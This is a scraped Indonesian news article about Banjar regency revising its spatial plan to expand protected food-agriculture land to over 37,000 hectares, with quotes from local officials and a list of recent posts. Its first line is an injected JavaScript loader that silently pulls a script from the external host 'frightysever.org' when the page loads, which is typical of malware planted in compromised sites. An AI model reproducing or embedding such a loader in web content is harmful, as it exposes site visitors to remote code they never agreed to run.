(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Revisi RTRW, Lahan Pertanian Kabupaten Banjar Bertambah Luas jadi 37 Ribu Hektare


MARTAPURA, Pemkab Banjar terus berupaya menggenjot sektor pertanian di daerah. Salah satunya lewat revisi Rancangan Tata Ruang Wilayah (RTRW) yang memperluas kawasan pertanian pangan berkelanjutan menjadi 37.209,75 hektare. Padahal berdasarkan RTRW tahuan 2013-2032, rencana kawasan pertanian hanya ditetapkan seluas 15.828,92 hektare.

Kepala Dinas PUPR Banjar Mokhammad Hilman mengatakan, penambahan luasan kawasan pertanian ini bagian strategi kebijakan perlindungan lahan pertanian pangan berkelanjutan untuk menjaga keseimbangan ekosistem. Yakni dengan memberikan perlindungan terhadap lahan pertanian pangan berkelanjutan berupa perencanaan, penetapan, pengembangan, penelitian, pemanfaatan, pembinaan, pengendalian, pengawasan, sistem informasi, perlindungan dan pendayaan petani, pembiayaan dan peran serta masyarakat.

“Termasuk juga dalam memberikan perlindungan khusus dengan mempertimbangkan luas kawasan, produktivitas kawasan, potensi teknis lahan, keandalan infrastruktur dan ketersediaan sarana dan prasarana pertanian, mengupayakan intensifikasi kawasan pertanian pangan berkelanjutan dengan cara meningkatkan kesuburan tanah, peningkatan kualitas benih atau bibit, pendiversifikasian tanaman pangan, pencegahan dan penanggulangan hama tanaman, pengembangan irigasi, pemanfaatan teknologi pertanian, pengembangan inovasi pertanian, penyuluhan pertanian dan jaminan akses permodalan,” jelasnya.

Seperti dilansir tribunnews.com, Hilman mengatakan, ekstensifikasi kawasan pertanian pangan berkelanjutan dilakukan dengan cara pencetakan lahan pertanian pangan berkelanjutan. Juga dengan menetapkan lahan pertanian pangan menjadi lahan pertanian pangan berkelanjutan dan pengalihan fungsi non pertanian pangan menjadi lahan pertanian pangan berkelanjutan, serta pengembangan usaha agribisnis tanaman pangan.

“Mengendalikan lahan pertanian pangan berkelanjutan melalui pemberian insentif, diinsentif, mekanisme perizinan, proteksi dan penyuluhan,” katanya.

Sementara Kepala Dinas Tanaman Pangan dan Hortikultura Banjar M Fachry mengatakan, penambahan luasan kawasan pertanian sesuai usulan pihaknya dinaikan menjadi 37 ribu hektare sehingga tidak perlu harus selalu mengubah setiap lima tahun.

Ini upaya yang dapat dilakukan sehingga alih fungsi lahan bisa dikendalikan dan dilakukan secara bijaksana dan Kabupaten Banjar tetap dapat mempertahankan Kindai Limpuar. “Disamping memperluas lahan pertanian berkelanjutan, maka yang kami lakukan sekarang adalah melakukan intensifikasi usahatani padi. Antara lain meningkatkan produktifitas dan upaya tanam dua kali setahun,” tegasnya.

Dengan melakukan intensifikasi usaha tani maka produktifitas ditargetkan naik sehingga total produksi juga naik. Karena kebutuhan setiap tahun terus naik seiring dengan bertambhnya jumlah penduduk.

Menurutnya, jika tidak dari sekarang menambah luasan lahan pertanian pangan berkelanjutan, maka dikhawatirkan sawah di Kabupaten Banjar semakin berkurang, sehingga lambat laun produksi padi juga semakin berkurang. Padahal kebutuhan semakin meningkat seiring bertambahnya penduduk.

Pihaknya optimistis karena lahan sawah Kabupaten Banjar cukup luas baik yang fungsional maupun potensial, terdiri dari sawah rawa pasang surut, sawah rawa lebak, sawah tadah hujan dan sawah irigasi. “Yang paling penting, pesan Bupati adalah mempertahankan Kabupaten Banjar Kindai Limpuar,” katanya. (cel/trb)

Reporter:cel/trb
Editor:Cell

Desy Arfianty

Recent Posts

Dekranasda HSU Tawarkan Produk Kerajinan UMKM di Bazar MTQ

KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More

26 menit ago

Tekan Angka Pernikahan Dini, Pemkab Banjar Sosialisasi ke Sejumlah Sekolah

KANALKALIMANTAN.COM, MARTAPURA -  Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menjadi pembina upacara, diikuti… Read More

47 menit ago

Nyemplung di Sungai Martapura Hendak Ambil Kacamata Berakhir Tak Bernyawa

KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki dalam kondisi tidak bernyawa ditemukan tenggelam di Sungai Martapura kawasan… Read More

1 jam ago

PAM Bandarmasih Ganti Pipa Kropos, Tiga Kecamatan Terdampak Seret Air

KANALKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penurunkan tekanan distribusi air bersih… Read More

2 jam ago

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

17 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

20 jam ago

This website uses cookies.